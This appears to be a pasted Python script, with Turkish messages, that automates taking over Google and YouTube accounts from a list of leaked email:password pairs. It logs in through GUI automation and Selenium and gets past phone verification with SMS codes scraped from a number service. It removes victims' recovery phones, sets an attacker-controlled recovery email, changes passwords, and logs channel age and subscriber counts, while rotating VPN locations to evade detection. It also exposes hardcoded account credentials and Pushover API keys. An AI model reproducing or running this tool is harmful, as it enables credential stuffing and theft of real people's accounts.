· 11 years ago · Jul 27, 2015, 07:56 PM
1
2import pyautogui, pyperclip, names, requests
3import telnetlib
4from selenium import webdriver
5from selenium.webdriver.support.ui import WebDriverWait
6
7from random import randint
8from pushover import init, Client
9
10import time, random, string, os, subprocess
11from bs4 import BeautifulSoup
12
13currentdir = os.path.dirname(os.path.realpath(__file__))
14
15with open(os.path.join(currentdir, "info" , "server.txt")) as f:
16 server = f.readlines()
17
18ip = server[0].rstrip("\n")
19ACCOUNT_SID = server[1].rstrip("\n")
20AUTH_TOKEN = server[2].rstrip("\n")
21defaultEmail = "tqmedia02@gmail.com"
22defaulPassword = "tqmedia01"
23api4 = server[5].rstrip("\n")
24
25cities = ["USA - Austin", "USA - Chicago", "USA - Los Angeles", "USA - Miami", "USA - New York", "USA - San Francisco", "USA - Seattle", "USA - Washington"]
26#cities = ["Ireland", "Portugal", "Belgium", "Netherlands", "Luxembourg", "Denmark", "Sweden", "Iceland", "Russia", "Romania", "Norway", "United Kingdom", "Lithuania", "Italy", "Spain", "Finland", "Czech Republic", "Austria", "Germany", "France", "Switzerland", "Poland"]
27
28init("aYDXEfotLvLtwy6hmf14kTPJWwr3nG")
29
30#########################################################
31################## CLICK FUNCTIONS ######################
32#########################################################
33
34def sc(x, y):
35 try:
36 pyautogui.moveTo(x, y, 0.2)
37 pyautogui.click()
38 except:
39 pass
40
41def dc(x, y):
42 try:
43 pyautogui.moveTo(x, y, 0.2)
44 pyautogui.doubleClick()
45 except:
46 pass
47
48def paste():
49 try:
50 return pyperclip.paste()
51 except:
52 pass
53def push(title, message):
54 Client("uD24S65yVEbMXKPmVx1HX8Pjccm8jy").send_message(message, title=title)
55
56#########################################################
57#################### WEB FUNCTIONS ######################
58#########################################################
59
60def goTo(website):
61 pyautogui.hotkey('alt', 'd')
62 pyautogui.typewrite(website, interval=0.01)
63 pyautogui.press('enter')
64
65def goToGmail():
66 goTo("mail.google.com/mail/u/0/h/")
67 time.sleep(4)
68
69def goToEditSecond():
70 pyautogui.press('enter')
71 time.sleep(3.5)
72 goTo("accounts.google.com/b/0/EditUserInfo?hl=en")
73 time.sleep(5)
74 pyautogui.press('enter')
75
76def deletePhone():
77 time.sleep(3.5)
78 goTo("https://myaccount.google.com/phone?utm_source=OGB&pli=1&hl=en")
79 time.sleep(7)
80 text = getBody()
81 if not 'is used to reach' in text:
82 sc(1265, 388)
83 time.sleep(3)
84 sc(974, 763)
85 time.sleep(3)
86 sc(974, 715)
87 time.sleep(3)
88
89def goToChaneMyPass():
90 goTo("accounts.google.com/b/0/EditPasswd?continue=https://myaccount.google.com/&hl=en")
91 time.sleep(3)
92
93def goToMyAccount():
94 goTo('myaccount.google.com/?hl=en')
95 pyautogui.press('enter')
96 time.sleep(3)
97
98def getUrl():
99 pyautogui.hotkey('ctrl', 'l')
100 pyautogui.hotkey('ctrl', 'c')
101 text = paste()
102 try:
103 text = str(text)
104 except:
105 getUrl()
106 return text
107
108def getBody():
109 sc(69, 801)
110 pyautogui.hotkey('ctrl', 'a')
111 pyautogui.hotkey('ctrl', 'c')
112 text = paste()
113 try:
114 text = str(text)
115 except:
116 getBody()
117 return text
118
119def getBodyYt():
120 sc(113, 957)
121 time.sleep(1)
122 pyautogui.hotkey('ctrl', 'a')
123 pyautogui.hotkey('ctrl', 'c')
124 text = paste()
125 try:
126 text = str(text)
127 except:
128 getBody()
129 return text
130
131
132
133#########################################################
134################### GOOGLE FUNCTIONS ####################
135#########################################################
136
137def goGoogle():
138 pyautogui.hotkey('ctrl', 'l')
139 pyautogui.typewrite('accounts.google.com/ServiceLogin?&hl=en')
140 pyautogui.press('enter')
141 time.sleep(3)
142
143def loginGoogle(email, password):
144 goGoogle()
145 pyautogui.hotkey('ctrl', 'a')
146 pyautogui.press('delete')
147 pyautogui.typewrite(email)
148 pyautogui.press('enter')
149 time.sleep(2.5)
150 pyautogui.typewrite(password)
151 pyautogui.press('enter')
152
153def setNewPass():
154 os.startfile(os.path.join(currentdir, "helpers" , "savenewpass.exe"))
155 time.sleep(7)
156
157
158def manuel(expassword, password):
159 goToEditSecond()
160 time.sleep(2)
161 pyautogui.moveTo(1616, 406, 1)
162
163 button7location = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "redarrow.png"))
164 if(button7location != None):
165 buttonx, buttony = pyautogui.center(button7location)
166 pyautogui.click(buttonx, buttony)
167
168 text = getBody()
169 goToEditSecondEmail(text)
170
171 text = text.replace("\n", " ")
172 texts = text.split(" ")
173
174 gmail = ""
175 for t in texts:
176 if("@gmail" in t):
177 gmail = t.replace("\n", "").replace("\t", "")
178 break
179
180
181 deletePhone()
182 time.sleep(3)
183 goTo("https://security.google.com/settings/security/signinoptions/rescueemail?hl=en")
184 time.sleep(4)
185 link = getUrl()
186
187 if("ServiceLogin" in link):
188 sc(865, 446)
189 pyautogui.typewrite(expassword)
190 time.sleep(2)
191 sc(979,502)
192 time.sleep(4)
193
194 sc(906, 313)
195 pyautogui.hotkey('ctrl', 'a')
196 pyautogui.typewrite(defaultEmail)
197
198 sc(1247, 356)
199 sc(1247, 356)
200
201 time.sleep(2)
202 goToChaneMyPass()
203
204 sc(860, 447)
205 sc(860, 447)
206 pyautogui.typewrite(expassword)
207 pyautogui.press('enter')
208 time.sleep(5)
209 pyautogui.typewrite(password)
210 pyautogui.press('tab')
211 pyautogui.press('tab')
212 pyautogui.press('tab')
213 time.sleep(1)
214 pyautogui.typewrite(password)
215 pyautogui.press('tab')
216 pyautogui.press('tab')
217 time.sleep(1)
218 pyautogui.press('enter')
219
220 return str(gmail) + ":" + password
221
222def goToEditSecondEmail(text):
223 pyautogui.press('enter')
224 if "First name" in text:
225 dc(627, 247)
226 pyautogui.hotkey('ctrl', 'a')
227 pyautogui.typewrite(randName)
228 pyautogui.press('tab')
229 pyautogui.typewrite(randSname)
230 os.startfile(os.path.join(currentdir, "helpers" , "secondname.exe"))
231 time.sleep(10)
232 else:
233 os.startfile(os.path.join(currentdir, "helpers" , "secondnoname.exe"))
234 time.sleep(5)
235
236def whereIsGmail(fakeName):
237
238 pyautogui.moveTo(550,560)
239 button7location = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "redarrow.png"))
240 if(button7location != None):
241 buttonx, buttony = pyautogui.center(button7location)
242 pyautogui.click(buttonx, buttony)
243 else:
244 pyautogui.moveTo(1899,83, 2)
245 sc(1899,83)
246
247 dc(1132, 255)
248 pyautogui.typewrite(fakeName, interval=0.10)
249 time.sleep(1)
250 sc(1112, 326)
251 time.sleep(2)
252 dc(1135, 285)
253 pyautogui.hotkey('ctrl', 'c')
254 text = paste()
255 try:
256 text = str(text)
257 except:
258 text = ""
259
260 if("Someone" in text or "Please" in text):
261 return 2
262 elif ("Your" in text):
263 return 3
264 return 1
265
266
267def registerGmail(fakeName, fakeSurname, flag):
268
269 if(flag == 1):
270 pyautogui.doubleClick(1133, 255)
271 pyautogui.typewrite(fakeName, interval=0.10)
272 time.sleep(0.3)
273 pyautogui.press('tab')
274 pyautogui.typewrite(fakeSurname, interval=0.10)
275 time.sleep(0.3)
276 email = fakeName + fakeSurname + str(randint(3000,9999))
277 email = email.lower()
278 pyautogui.press('tab')
279 pyautogui.typewrite("johnmiller", interval=0.10)
280 time.sleep(0.3)
281 pyautogui.press('tab')
282 pyautogui.press('tab')
283 pyautogui.press('delete')
284 pyautogui.press('tab')
285 time.sleep(0.3)
286 pyautogui.press('delete')
287 pyautogui.typewrite(defaultEmail, interval=0.10)
288 pyautogui.press('enter')
289 time.sleep(2)
290 pyautogui.click(1211,378)
291 time.sleep(1)
292 pyautogui.moveTo(1154,326)
293 pyautogui.doubleClick()
294 time.sleep(2)
295 pyautogui.hotkey('ctrl', 'c')
296 gmail = paste()
297 jc = 0
298
299 while "johnmiller" == gmail and jc < 3:
300 pyautogui.click(1211,380)
301 pyautogui.moveTo(1154,326)
302 pyautogui.doubleClick()
303 pyautogui.hotkey('ctrl', 'c')
304 gmail = paste()
305 jc += 1
306
307 pyautogui.press('enter')
308 return str(gmail) + "@gmail.com"
309
310 elif(flag == 0):
311 dc(1161,255)
312 pyautogui.click()
313 time.sleep(1)
314 pyautogui.typewrite("johnmiller", interval=0.45)
315 time.sleep(2)
316 sc(1231,382)
317 time.sleep(1)
318 sc(1236,308)
319 time.sleep(1)
320 pyautogui.moveTo(1161,251)
321 pyautogui.doubleClick()
322 pyautogui.hotkey('ctrl', 'c')
323 gmail = paste()
324 time.sleep(1)
325 pyautogui.press('tab')
326 time.sleep(1)
327 pyautogui.press('tab')
328 time.sleep(1)
329 pyautogui.press('delete')
330 pyautogui.press('tab')
331 time.sleep(1)
332 pyautogui.press('delete')
333 pyautogui.typewrite(defaultEmail, interval=0.30)
334 time.sleep(1)
335 pyautogui.press('enter')
336 return str(gmail) + "@gmail.com"
337 else:
338 dc(1148, 255)
339 pyautogui.hotkey('ctrl', 'c')
340 gmail = paste()
341 sc(1193, 349)
342 pyautogui.hotkey('ctrl', 'a')
343 pyautogui.press('delete')
344 pyautogui.press('tab')
345 time.sleep(1)
346 pyautogui.press('delete')
347 pyautogui.typewrite(defaultEmail, interval=0.30)
348 time.sleep(1)
349 pyautogui.press('enter')
350 return str(gmail) + "@gmail.com"
351
352def changeAccountInfo(expassword, password, text):
353 goToEditSecondEmail(text)
354
355 t0 = time.clock()
356 url = getUrl()
357
358 while("EditUserInfo" in url):
359 if(time.clock() - t0 > 20):
360 return
361 text = getBody()
362 goToEditSecondEmail(text)
363 url = getUrl()
364
365 time.sleep(3)
366
367 deletePhone()
368 goToChaneMyPass()
369
370 time.sleep(4)
371 pyautogui.typewrite(expassword)
372 pyautogui.press('enter')
373 time.sleep(5)
374 pyautogui.typewrite(password)
375 pyautogui.press('tab')
376 pyautogui.press('tab')
377 pyautogui.press('tab')
378 time.sleep(1)
379 pyautogui.typewrite(password)
380 pyautogui.press('tab')
381 pyautogui.press('tab')
382 time.sleep(1)
383 pyautogui.press('enter')
384 return password
385
386#########################################################
387################### PHONE FUNCTIONS #####################
388#########################################################
389
390def enterPhone(phone):
391 pyautogui.typewrite(phone, interval=0.10)
392 pyautogui.press('enter')
393
394def openPhone(phone):
395 try:
396 # spoof some headers so the request appears to be coming from a browser, not a bot
397 headers = {
398 "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5)",
399 "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
400 "accept-charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.3",
401 "accept-encoding": "gzip,deflate,sdch",
402 "accept-language": "en-US,en;q=0.8",
403 }
404
405 # make the request to the search url, passing in the the spoofed headers.
406 r = requests.get(api4, headers=headers) # assign the response to a variable r
407
408 # check the status code of the response to make sure the request went well
409 if r.status_code != 200:
410 print("request denied")
411 return
412 else:
413 pass
414
415 # convert the plaintext HTML markup into a DOM-like structure that we can search
416 soup = BeautifulSoup(r.text)
417
418 # each result is an <li> element with class="g" this is our wrapper
419 results = soup.findAll("td")
420
421 for i in range(len(results)):
422 if phone in results[i]:
423 c = str(results[i+3]).lstrip("<td>").rstrip("</td>")
424 code = c.split(" ")[5]
425 return code
426 return ""
427 except:
428 return ""
429def enterCode(code):
430 sc(742,382)
431 pyautogui.typewrite(code, interval=0.10)
432 pyautogui.press('enter')
433#########################################################
434################## YOUTUBE FUNCTIONS ####################
435#########################################################
436
437
438def setYoutubeDriver():
439 #changeProxy()
440 global driver
441 driver = webdriver.Firefox()
442 driver.maximize_window()
443 return driver
444
445
446def loginYoutube(email, password):
447 driver.get("https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.youtube.com/my_videos?o=U")
448 time.sleep(3)
449 put(".//*[@id='Email']", email)
450 fbxpath(".//*[@id='next']").click()
451 put(".//*[@id='Passwd']", password)
452 fbxpath(".//*[@id='signIn']").click()
453 time.sleep(8)
454
455def isPicassa():
456 cbutton = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "continue.png"))
457 okbutton = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "ok.png"))
458
459 if(cbutton != None and okbutton == None):
460 return 0
461 elif(cbutton == None and okbutton != None):
462 return 1
463 else:
464 return 2
465
466def regYoutube():
467 time.sleep(12)
468
469 sc(1200, 645)
470 text = None
471 while text == None:
472 pyautogui.hotkey('ctrl', 'a')
473 pyautogui.hotkey('ctrl', 'c')
474 text = paste()
475
476 if "Picasa" in text:
477 os.startfile(os.path.join(currentdir, "helpers" , "picasa.exe"))
478 time.sleep(15)
479 return
480
481 flag = isPicassa()
482 if (flag == 1):
483 time.sleep(2)
484 sc(1175, 690)
485 return
486
487 elif(flag == 0):
488 os.startfile(os.path.join(currentdir, "helpers" , "flag0.exe"))
489 time.sleep(15)
490 return
491
492 if(flag == 2):
493 sc(651, 704)
494 sc(666, 556)
495 sc(666, 556)
496 time.sleep(1)
497 pyautogui.moveTo(958, 792, 2)
498 pyautogui.click(958, 792)
499
500
501def addToYoutube(info):
502 try:
503 sorunlu = open(os.path.join(currentdir, "info" , "server.txt"), "a")
504 sorunlu.write(info + "\n")
505 sorunlu.close()
506 except:
507 print("Dosya acilamadi")
508
509def addToTekrar(info):
510 try:
511 sorunlu = open(os.path.join(currentdir, "source" , "tekrar.txt"), "a")
512 sorunlu.write(info + "\n")
513 sorunlu.close()
514 except:
515 print("Dosya acilamadi")
516
517def fbxpath(xpath):
518 try:
519 return WebDriverWait(driver, 10).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
520 except:
521 return False
522
523def put(xpath, toSend):
524 try:
525 to = WebDriverWait(driver, 10).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
526 time.sleep(1)
527 to.send_keys(toSend)
528 except:
529 return False
530
531def isShowed(xpath):
532 try:
533 WebDriverWait(driver, 7).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
534 return True
535 except:
536 return False
537
538def createYoutube(email, password):
539 driver.get("https://www.youtube.com/my_videos?o=U")
540 time.sleep(8)
541 text = getBody()
542
543 if("Help us keep your account secure" in text
544 or "Cookies help" in text):
545 driver.get("https://www.youtube.com/my_videos?o=U")
546 time.sleep(7)
547 text = getBody()
548
549 if "Don't get locked out" in text:
550 sc(980, 713)
551 sc(980, 713)
552 sc(980, 713)
553 time.sleep(7)
554 driver.get("https://www.youtube.com/my_videos?o=U")
555 time.sleep(7)
556
557 if "oops" in driver.current_url:
558 time.sleep(2)
559 driver.get("https://www.youtube.com/my_videos?o=U")
560
561 if "Use YouTube as..." in text:
562 sc(866 ,526)
563 driver.get("https://www.youtube.com/my_videos?o=U")
564 time.sleep(10)
565 text = getBody()
566
567 if "Create a channel" in text:
568 flag = 0
569 fbxpath(".//*[@id='creator-page-content']/div[1]/a").click()
570 regYoutube()
571
572 elif "YouTube channel has content but has been disabled" in text:
573 fbxpath(".//*[@id='vm-general-notifs']/div/div[2]/div/a[1]")
574 time.sleep(3)
575 regYoutube()
576 else:
577 flag = 1
578
579 driver.get("https://www.youtube.com/analytics?o=U")
580 t0 = time.clock()
581
582 while "my_videos" in driver.current_url:
583 if time.clock() - t0 > 25:
584 addToYoutube(email +":" + password)
585 return False
586 time.sleep(2)
587 sc(1875, 91)
588 time.sleep(1)
589 sc(1853, 280)
590 time.sleep(3)
591 driver.get("https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.youtube.com/my_videos?o=U")
592 time.sleep(5)
593 pyautogui.typewrite(password)
594 sc(990, 580)
595 time.sleep(2)
596 url = driver.current_url
597 c = 0
598 if("Help us keep your account secure" in text
599 or "Cookies help" in text):
600 driver.get("https://www.youtube.com/my_videos?o=U")
601 time.sleep(7)
602 text = getBody()
603 while("ServiceLogin" in url and c < 3):
604 pyautogui.typewrite(password)
605 sc(990, 580)
606 time.sleep(2)
607 url = driver.current_url
608 c += 1
609 driver.get("https://www.youtube.com/my_videos?o=U")
610 try:
611 fbxpath(".//*[@id='creator-page-content']/div[1]/a").click()
612 except:
613 driver.get("https://www.youtube.com/dashboard?o=U")
614 break
615 time.sleep(4)
616 sc(1170, 690)
617 driver.get("https://www.youtube.com/analytics?o=U")
618
619 time.sleep(10)
620 if "analytics" not in driver.current_url:
621 driver.get("https://www.youtube.com/analytics?o=U")
622 time.sleep(10)
623 try:
624 date = fbxpath(".//*[@id='gwt-debug-metadataList']/span[1]").text.lstrip("Created: ").replace(",", "")
625 except:
626 date = "kontroledilecek"
627
628 driver.get("https://www.youtube.com/dashboard?o=U")
629 time.sleep(5)
630 if "dashboard" not in driver.current_url:
631 driver.get("https://www.youtube.com/dashboard?o=U")
632 time.sleep(5)
633 try:
634 subscriber = fbxpath(".//*[@id='dashboard-header-stats']/li[2]/div[1]").text
635 views = fbxpath(".//*[@id='dashboard-header-stats']/li[1]/div[1]").text
636 except:
637 return
638 if len(views) > 7:
639 push("Yuksek izlenme!", "Kontrol etmelisin.. Ip: " + ip)
640 fbxpath(".//*[@id='dashboard-header-user-name-and-label']/h2/a").click()
641 time.sleep(2)
642 channelUrl = driver.current_url
643
644 if("2005" in date):
645 dateFile = 2005
646 elif("2006" in date):
647 dateFile = 2006
648 elif("2007" in date):
649 dateFile = 2007
650 elif("2008" in date):
651 dateFile = 2008
652 elif("2009" in date):
653 dateFile = 2009
654 elif("2010" in date):
655 dateFile = 2010
656 elif("2011" in date):
657 dateFile = 2011
658 elif("2012" in date):
659 dateFile = 2012
660 elif("2013" in date):
661 dateFile = 2013
662 elif("2014" in date):
663 dateFile = 2014
664 elif("2015" in date):
665 dateFile = 2015
666 else:
667 dateFile = "kontroledilecek"
668 print(str(date))
669 saveYoutube(email, password, channelUrl, dateFile, date, subscriber, views)
670
671
672def saveYoutube(email, password, url, dateFile, date, subscriber, views):
673 try:
674 info = str(email) + "::" + str(password).rstrip("\n") + "::" + str(url) + "::" + str(date) + "::" + str(subscriber) + "::" + str(views) + "::" + defaultEmail
675 hesaplar = open(os.path.join(currentdir, "save" , str(dateFile) + ".txt"), "a")
676 hesaplar.write(info + "\n")
677 hesaplar.close()
678 except:
679 print("Dosya acilamadi.")
680
681#########################################################
682#################### SAVE FUNCTIONS #####################
683#########################################################
684
685def addToGmail(info):
686 try:
687 hesaplar = open(os.path.join(currentdir, "save" , "gmail.txt"), "a")
688 hesaplar.write(info + "\n")
689 hesaplar.close()
690 except:
691 print("Dosya acilamadi.")
692
693def addToCop(info):
694 try:
695 cop = open(os.path.join(currentdir, "source" , "cop.txt"), "a")
696 cop.write(info[0] + ":" + info[1])
697 cop.close()
698 except:
699 print("Dosya acilamadi.")
700
701def addToOzel(info):
702 try:
703 ozel = open(os.path.join(currentdir, "source" , "ozel.txt"), "a")
704 ozel.write(info[0] + ":" + info[1])
705 ozel.close()
706 except:
707 print("Dosya acilamadi.")
708
709def addToTekrar(info):
710 try:
711 ozel = open(os.path.join(currentdir, "source" , "tekrar.txt"), "a")
712 ozel.write(info[0] + ":" + info[1])
713 ozel.close()
714 except:
715 print("Dosya acilamadi.")
716def addToTekrarYT(info):
717 try:
718 ozel = open(os.path.join(currentdir, "save" , "tekraryt.txt"), "a")
719 ozel.write(info)
720 ozel.close()
721 except:
722 print("Dosya acilamadi.")
723
724def addToCaptcha(info):
725 try:
726 ozel = open(os.path.join(currentdir, "source" , "captcha.txt"), "a")
727 ozel.write(info[0] + ":" + info[1])
728 ozel.close()
729 except:
730 print("Dosya acilamadi.")
731
732def addToYoutube(info):
733 try:
734 sorunlu = open(os.path.join(currentdir, "save" , "tekrardenenecekyoutube.txt"), "a")
735 sorunlu.write(info + "\n")
736 sorunlu.close()
737 except:
738 print( "Dosya acilamadi")
739
740def updateList(i):
741 try:
742
743 with open(os.path.join(currentdir, "source" , "ayiklanacak.txt"), 'w') as fout:
744 fout.writelines(content[i+1:])
745 except:
746 print("Dosya acilamadi.")
747
748
749#########################################################
750################## DRIVER FUNCTIONS #####################
751#########################################################
752
753def createDriver():
754 pyperclip.copy('')
755 global loginC
756 loginC = 0
757 os.system("taskkill /f /t /im firefox.exe")
758 changeProxy()
759 os.startfile("C:\\\Program Files (x86)\\\Mozilla Firefox\\firefox.exe")
760 time.sleep(7)
761
762def changeProxy():
763
764 os.startfile(os.path.join(currentdir, "helpers" , "processkill.exe"))
765 # Path to OpenVPN program
766 vypr_bin = "C:\\Program Files\\OpenVPN\\bin\\openvpn.exe"
767 # Path to username/password
768 vypr_auth = "C:\\Users\\Administrator\\Desktop\\youtube\\vypr_auth.txt"
769 # Path to config file. What's server do you want connect to?
770
771 vpn_mgt_host = "127.0.0.1"
772 vpn_mgt_port = "7777"
773 c = random.randint(0, 7)
774 vypr_conf = "C:\\Users\\Administrator\\Desktop\\youtube\\config\\" + cities[c] + ".ovpn"
775 vpn_params = [vypr_bin, "--management", vpn_mgt_host, vpn_mgt_port,
776 "--management-hold", "--config", vypr_conf,
777 "--auth-user-pass", vypr_auth, "--log", "C:\\Users\\Administrator\\Desktop\\youtube\\info\\openvpn.log"]
778
779 # Delete all tap devices
780 subprocess.call("deltapall.bat", shell=True)
781
782 # Add tap devices
783 subprocess.call("addtap.bat", shell=True)
784
785 # Run OpenVPN daemon but management hold
786 prog = subprocess.Popen(vpn_params, shell=True,
787 stdin=None, stdout=None, stderr=None, close_fds=True)
788
789 # vpn_pid = prog.pid
790
791 # Connect to OpenVPN management daemon
792 tn = telnetlib.Telnet(vpn_mgt_host, vpn_mgt_port)
793 # Turn on log
794 tn.write(("log on\r\n").encode('ascii'))
795 time.sleep(1)
796 # Hold release
797 tn.write(("hold release\r\n").encode('ascii'))
798 time.sleep(2)
799 # Waiting to OpenVPN connected
800 time.sleep(15)
801 print ("Connected to " + cities[c])
802
803def endSession():
804 pyautogui.hotkey('alt', 'f4')
805 os.startfile(os.path.join(currentdir, "helpers" , "processkill.exe"))
806 time.sleep(5)
807 updateList(i)
808 createDriver()
809
810def checkSuccess(failC, sucC, loginC):
811 if loginC > 30:
812 endSession()
813 if i % 50 != 0:
814 return
815 try:
816 failRate = failC / sucC
817 except:
818 failRate = failC
819
820 if failRate > 49:
821 updateList(i)
822
823 if failRate > 500:
824 push("Hata Cogaldi!", "Hata orani 500u gecti! " + ip)
825 sys.exit(1)
826
827with open(os.path.join(currentdir, "source" , "ayiklanacak.txt"), 'r') as f:
828 content = f.read().splitlines(True)
829with open(os.path.join(currentdir, "info" , "telefonlar.txt"), 'r') as f:
830 phones = f.read().splitlines(True)
831######################################################
832
833failC = 0
834sucC = 0
835
836k = 0
837p = 0
838print(str(len(content)) + " adet hesap var.")
839createDriver()
840try:
841 for i in range(len(content)):
842 checkSuccess(failC, sucC, loginC)
843 try:
844 info = content[i].split(":")
845 email = info[0]
846 password = info[1].rstrip("\n")
847 if(len(password) < 6 or "@" not in email):
848 continue
849 print("Kullanci Adi: " + email + "\n" + "Sifre: " + password)
850 print("Succes: " + str(sucC) + " Fail: " + str(failC))
851 chars = string.ascii_letters + string.digits
852 newPass = ''.join(random.SystemRandom().choice(chars) for i in range(10))
853 randName = names.get_first_name(gender='male')
854 randSname = names.get_last_name()
855 except:
856 addToOzel(content[i].split(":"))
857 time.sleep(2)
858 continue
859 try:
860 phone = phones[p].rstrip("\n")
861 except:
862 p = 0
863 phone = phones[p].rstrip("\n")
864
865 try:
866 loginGoogle(email, password)
867 loginC += 1
868 except:
869 addToCop(info)
870 continue
871
872 if "gmail" in email:
873 time.sleep(6)
874 else:
875 time.sleep(3)
876 text = getBody()
877
878 if("One account. All of Google." in text
879 or "Sorry, Google doesn't recognize" in text
880 or "Your Google Account is managed by" in text
881 or "Sorry, we can't process" in text
882 or "Google" not in text
883 or "We've detected unusual activity" in text
884 or "2-Step verification" in text
885 ):
886
887 if("Letters are" in text or "Firefox" in text):
888 addToCaptcha(info)
889 endSession()
890 k = 0
891 continue
892 elif "privacy reminder" in text:
893 os.startfile(os.path.join(currentdir, "helpers" , "privacy.exe"))
894 time.sleep(5)
895 else:
896 addToCop(info)
897 failC += 1
898 k = 0
899 continue
900 elif ("Letters are" in text):
901 addToCaptcha(info)
902 k = 0
903 endSession()
904 continue
905 elif "Please re-enter" in text:
906 addToOzel(content[i-1].split(":"))
907 endSession()
908 elif "Firefox" in text:
909 addToCaptcha(info)
910 k = 0
911 endSession()
912 elif "Google" not in text:
913 addToCop(info)
914 failC += 1
915 k = 0
916 continue
917 else:
918 time.sleep(3)
919 url = getUrl()
920
921 url = getUrl()
922 if "privacyreminder" in url:
923 os.startfile(os.path.join(currentdir, "helpers" , "privacy.exe"))
924 time.sleep(7)
925 url = getUrl()
926
927 if "VerifiedPhoneInterstitial" in url:
928 time.sleep(2)
929 sc(1113,800)
930 time.sleep(5)
931 url = getUrl()
932
933 elif not "google" in url:
934 addToCop(info)
935 failC += 1
936 continue
937
938 elif "LoginVerification" in url:
939 text = getBody()
940 if("Tell us the city" in text
941 or "Answer your secret question" in text
942 or "Enter your recovery" in text
943 or "Android" in text
944 or "Receive a verification" in text
945 or "Tell us your phone number" in text):
946 if("Enter a phone" not in text
947 or "Sorry, we can't process" in text):
948 addToCop(info)
949 failC += 1
950 continue
951 if "Tell us the city" in text:
952 sc(747, 452)
953 else:
954 sc(745,427)
955 enterPhone(phone)
956 time.sleep(4)
957 text = getBody()
958 sc(758, 618)
959
960 while "already" in text :
961 p += 1
962 if(p == len(phones)):
963 p = 0
964 phone = phones[p].rstrip("\n")
965 sc(742,382)
966 pyautogui.hotkey('ctrl', 'a')
967 pyautogui.press('delete')
968 code = openPhone(phone)
969 enterCode(code)
970 time.sleep(5)
971 text = getBody()
972 sc(758, 618)
973 if "until in text":
974 continue
975
976 cC = 0
977 while cC < 3:
978 sc(742,382)
979 pyautogui.hotkey('ctrl', 'a')
980 pyautogui.press('delete')
981 code = openPhone(phone)
982 enterCode(code)
983 time.sleep(5)
984 url = getUrl()
985 if not "LoginVerification" in url:
986 break
987 else:
988 time.sleep(6)
989 cC += 1
990
991
992 elif("ChangePassword" in url):
993 setNewPass()
994 newPass = defaulPassword + "\n"
995 password = defaulPassword + "\n"
996 goToGmail()
997
998 elif("google" not in url or "ServiceLoginAuth" in url):
999 addToCop(info)
1000 failC += 1
1001 continue
1002
1003 elif("RecycledEmailInterstitial" in url
1004 or "AccountRecoveryOptionsPrompt" in url
1005 or "myaccount" in url):
1006 time.sleep(3)
1007 goToGmail()
1008
1009 elif("EmailNotVerified" in url):
1010 time.sleep(3)
1011 goToGmail()
1012 time.sleep(4)
1013 url = getUrl()
1014 if("ServiceLogin" in url):
1015 sc(882,448)
1016 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1017 pyautogui.press('enter')
1018 time.sleep(4)
1019 url = getUrl()
1020 time.sleep(3)
1021
1022 else:
1023 print("-----RAPOR EDILMELI!!!!")
1024 addToOzel(info)
1025 endSession()
1026 continue
1027
1028 time.sleep(9)
1029 url = getUrl()
1030 time.sleep(1)
1031 try:
1032 sc(1899,83)
1033 except:
1034 pass
1035 if "privacyreminder" in url:
1036 sc(1231, 984)
1037 time.sleep(2)
1038 sc(1231, 984)
1039 time.sleep(5)
1040 goToGmail()
1041 time.sleep(5)
1042 url = getUrl()
1043 if("EmailNotVerified" in url):
1044 time.sleep(3)
1045 goToGmail()
1046 time.sleep(5)
1047 url = getUrl()
1048 if("ServiceLogin" in url):
1049 sc(882,448)
1050 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1051 pyautogui.press('enter')
1052 time.sleep(3)
1053 url = getUrl()
1054 time.sleep(6)
1055
1056 if("myaccount" in url):
1057 goToGmail()
1058 time.sleep(5)
1059 url = getUrl()
1060
1061 if("ServiceLogin" in url):
1062 sc(882,448)
1063 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1064 pyautogui.press('enter')
1065 time.sleep(3)
1066 url = getUrl()
1067
1068 if("AccountRecoveryOptionsPrompt" in url):
1069 addToTekrar(info)
1070 continue
1071
1072 if("mail/" in url):
1073 gmail = manuel(password, newPass)
1074 g = gmail.split(":")
1075 gmail = g[0]
1076 newPass = g[1]
1077
1078 elif("ChangePassword" in url):
1079
1080 setNewPass()
1081 newPass = defaulPassword + "\n"
1082 password = defaulPassword + "\n"
1083 time.sleep(8)
1084 goToGmail()
1085 time.sleep(5)
1086 url = getUrl()
1087 if("mail/" not in url):
1088 flag = whereIsGmail(randName)
1089 if(flag==1):
1090 gmail = registerGmail(randName, randSname, 1)
1091 goToEditSecond()
1092 text = getBody()
1093
1094 try:
1095 if(not "@gmail.com" in text):
1096 addToOzel(info)
1097 failC += 1
1098 endSession()
1099 continue
1100 except:
1101 pass
1102
1103 newPass = changeAccountInfo(password, newPass, text)
1104
1105 elif(flag==2):
1106 gmail = registerGmail(randName, randSname, 0)
1107 goToEditSecond()
1108 text = getBody()
1109
1110 try:
1111 if(not "@gmail.com" in text):
1112 addToOzel(info)
1113 failC += 1
1114 endSession()
1115 continue
1116 except:
1117 pass
1118
1119 newPass = changeAccountInfo(password, newPass, text)
1120
1121 elif(flag == 3):
1122 addToCop(info)
1123 failC += 1
1124 endSession()
1125 continue
1126 else:
1127 gmail = manuel(newPass, newPass)
1128 g = gmail.split(":")
1129 gmail = g[0]
1130 newPass = g[1]
1131
1132 elif("inbox" in url):
1133 gmail = manuel(password, newPass)
1134 g = gmail.split(":")
1135 gmail = g[0]
1136 newPass = g[1]
1137
1138 elif("AddMailService" in url):
1139 pyautogui.moveTo(1899,83)
1140 time.sleep(1)
1141 sc(1899,83)
1142 time.sleep(1)
1143 flag = whereIsGmail(randName)
1144 if(flag==1):
1145 gmail = registerGmail(randName, randSname, 1)
1146 goToEditSecond()
1147 text = getBody()
1148
1149 try:
1150 if(not "@gmail.com" in text):
1151 addToOzel(info)
1152 failC += 1
1153 endSession()
1154 continue
1155 except:
1156 pass
1157
